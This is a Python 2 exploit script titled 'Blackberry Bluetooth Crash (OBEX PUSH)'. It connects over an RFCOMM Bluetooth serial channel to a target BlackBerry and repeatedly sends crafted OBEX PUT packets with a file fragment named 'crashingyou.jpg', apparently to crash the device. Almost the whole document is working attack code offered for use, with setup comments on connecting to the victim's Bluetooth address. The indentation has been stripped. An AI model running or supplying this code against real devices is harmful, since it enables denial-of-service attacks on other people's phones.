#!/usr/bin/python
#Blackberry Bluetooth Crash (OBEX PUSH)
# By Xianur0
# [email protected]
# First you need to connect to RFCOMM device (rfcomm connect 0 <bluetooth mac address> [channel])
# By default it uses the rfcomm0 but this number can be changed in the first argument of the command: rfcomm connect 0, rfcomm connect 1, etc...
# ATTENTION: The channel of obex push can vary from blackberry to blackberry
import binascii
import serial
filetosend="/home/xianur0/image.jpg"
nametosend="crashingyou.jpg"
def filenamed(string):
hexstring = "00"
for x in string:
hexstring += hex(ord(x))[2:]+"00"
return hexstring
def bin2dec(hexstring):
hexval = ""
for a in hexstring:
aux = hex(ord(a))[2:]
if len(aux) < 2:
aux = "0"+aux
hexval += aux
return int(hexval, 16)
def dec2hex(dec,largo):
retorno = hex(dec)[2:]
if (len(retorno)/2)*2 != len(retorno):
retorno = "0"+retorno
if(len(retorno)/2 < largo):
for i in range(largo-(len(retorno)/2)):
retorno = "00"+retorno
return retorno
def enviar(filepath,filename):
serialrf = None
print "Loading..."
try:
serialrf = serial.Serial('/dev/rfcomm0',9600) # Change me if rfcomm is not 0
except:
return 1
print "Ok!"
filename = filenamed(filename)
filebinary = ""
filehandler = open(filepath,'rb')
for linea in filehandler.readlines():
filebinary += linea
lengthfile = len(filebinary)
print "File Size:",lengthfile
sizefragment = 38
while True:
try:
print "Sending bytes..."
serialrf.write(binascii.unhexlify("80000710001000")) # Inicializamos
print "Reading..."
status = serialrf.read(1)
print hex(ord(status))
if hex(ord(status)) == "0xa0" or hex(ord(status)) == "0x10":
resto = serialrf.read(2)
largo = bin2dec(resto)-3
if largo > 0:
resto = serialrf.read(largo)
else:
return 2
header = "01"+dec2hex((len(filename)/2)+4,2) + filename + "00c3" + dec2hex(len(filebinary),4)
lengthheader = (len(filename)/2)+12
fragmento = filebinary[0:sizefragment]
envio = binascii.unhexlify("02" + dec2hex(lengthheader+(sizefragment+3),2) + header + "48" + dec2hex(len(fragmento)+3,2))
envio += fragmento
serialrf.write(envio)
except:
return 4
serialrf.close()
return 0
enviar(filetosend,nametosend)
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